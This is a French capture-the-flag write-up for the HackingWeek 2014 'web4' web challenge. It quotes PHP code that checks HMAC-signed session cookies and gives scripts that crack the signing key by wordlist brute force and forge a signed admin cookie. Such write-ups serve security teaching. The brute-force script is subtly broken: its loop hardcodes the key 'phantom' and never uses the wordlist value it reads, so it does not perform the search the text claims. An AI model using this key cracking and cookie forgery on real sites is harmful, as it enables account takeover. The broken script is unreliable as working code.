Code source disponible pour cette épreuve : https://repo.zenk-security.com/hackingweek2014_ctf/web4.zip
Le but de cette épreuve est de se retrouver authentifier sur la page auth.php
, pour cela, il faut avoir un cookie valide, mais c'est quoi un cookie valide ?
(isset($_COOKIE['PHPSESSID2'])) or die("Oops! This page appears broken - Access error."); $user = User::CreateFromCookie($_COOKIE['PHPSESSID2']); if (($user == null) OR ($user->IsAdmin() === false)) die("Oops! This page appears broken - Access error."); echo "Success! The password is \"" . $secretpassword4 . "\".";
Allons voir la fonction CreateFromCookie
.
public static function CreateFromCookie($cookie) { global $hash_secret; $temp = explode(urlencode(" "), $cookie, 2); if (count($temp) != 2) return null; $cookie = $temp[0]; $sign = $temp[1]; if (hash_hmac('sha256', $cookie, $hash_secret) != $sign) return null; $cookie = urldecode($cookie); $cookie = base64_decode($cookie); $cookie = explode("::", $cookie, 4); if (count($cookie) != 4) return null; $_id = htmlspecialchars($cookie[0], ENT_QUOTES); $_username = htmlspecialchars($cookie[1], ENT_QUOTES); $_password = htmlspecialchars($cookie[2], ENT_QUOTES); $_admin = htmlspecialchars($cookie[3], ENT_QUOTES); $user = new User($_id, $_username, $_password, $_admin); return $user; }
Chaque cookie est signé avec un hmac
en sha256
du cookie avec une clef inconnu.
On connait déjà un couple $cookie
et le résultat du hmac
, plus qu'à faire un bête bruteforce par dictionnaire.
<?php // 1::kevin12::bdbcddd194e30720adeebc71e3500abe::0 $data = 'MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%3D'; $handle = fopen('rockyou.txt', 'r'); if ($handle) { while (($line = fgets($handle)) !== false) { $secret = trim($line); $hash = hash_hmac('sha256', $data, 'phantom'); if ($hash == '5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39') { die($secret); } } } else { echo('Cannot open wordlist...'); } /* PHPSESSID2=MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%253D%2B%2B5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39 MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%3D 5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39 */ ?>
Ce fichier nous donne phantom
comme $hash_secret
, on a trouvé la clef.
Reste plus qu'à chiffrer un compte :)
<?php // MTMzNzo6dGFwejo6MmM0NzEzMTNmMDYzNzBkMDg2NmRiMWZhY2IzNDY2OGU6OjE%3D++8ce1d10d87351827e0435d8099614ec34f90986cf28fef2ca6c36db42b71cc53 // 1337::tapz::2c471313f06370d0866db1facb34668e::1 // id::username::password::admin // tapz:tapz $hash = hash_hmac('sha256', 'MTMzNzo6dGFwejo6MmM0NzEzMTNmMDYzNzBkMDg2NmRiMWZhY2IzNDY2OGU6OjE%3D', 'phantom'); echo($hash); ?>
On se connecte avec tapz:tapz
et le flag est à nous !